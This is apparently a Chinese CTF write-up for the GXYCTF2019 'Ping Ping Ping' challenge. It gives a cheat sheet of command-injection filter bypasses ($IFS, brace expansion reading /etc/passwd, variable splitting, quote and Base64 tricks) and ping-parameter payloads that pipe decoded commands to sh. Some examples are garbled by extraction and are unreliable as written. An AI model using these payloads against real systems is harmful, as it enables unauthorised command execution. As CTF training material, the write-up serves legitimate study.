[GXYCTF2019]Ping Ping Ping (命令执行)

本文探讨了命令执行中的各种技巧,如过滤空格、IFS绕过、编码编码(Base64和十六进制)、通配符利用、多命令执行以及CTF中RCE的规避策略。通过实例演示了如何通过编码和变量控制来绕过关键字过滤,适合深入理解RCE防护实践。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

命令执行

过滤空格
%20(space)、%09(tab)、$IFS$9、 IFS、IFS
使用<或者<>来绕过空格 cat<a.txt
花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
IFS空格绕过catIFS 空格绕过 catIFS空格绕过catIFSa.txt
变量控制 X=$'cat\x09./flag.php
关键字过滤

使用空变量 使用∗和*和@,x(x代表1−9),x(x 代表 1-9),x(x代表19),{x}(x>=10)(我尝试小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 ca${21}t a.txt
反斜杠 ca\t a.txt
变量替换 a=ca;b=t;c=a.txt;a aab $c
引号 c’a’t flag.php
编码绕过
Base64 编码绕过:
root@kali:~/# echo ‘cat a.txt’| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo ‘Y2F0IGEudHh0Cg==’ | base64 -d abc
十六进制编码绕过:
root@kali:~/# echo ‘cat a.txt’ | xxd -p 63617420612e7478740a
root@kali:~/# echo ‘0x63617420612e7478740a’| xxd -r -p Abc
通配符 ?*
[…]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
{a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php
命令分隔与执行多条命令

1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

CTF演练

主要考察RCE的防护绕过

?ip=127.0.0.1;ls

在这里插入图片描述
发现还是被过滤了flag,猜测后端应该是对最终构成的语句进行了正则匹配

/?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b

在这里插入图片描述
使用base64编码来绕过关键词的验证,构造Payload
在这里插入图片描述

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw=$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|sh

在这里插入图片描述
内容部分参考自

https://blog.csdn.net/qq_42812036/article/details/104297163
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

两小姐的便利贴

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值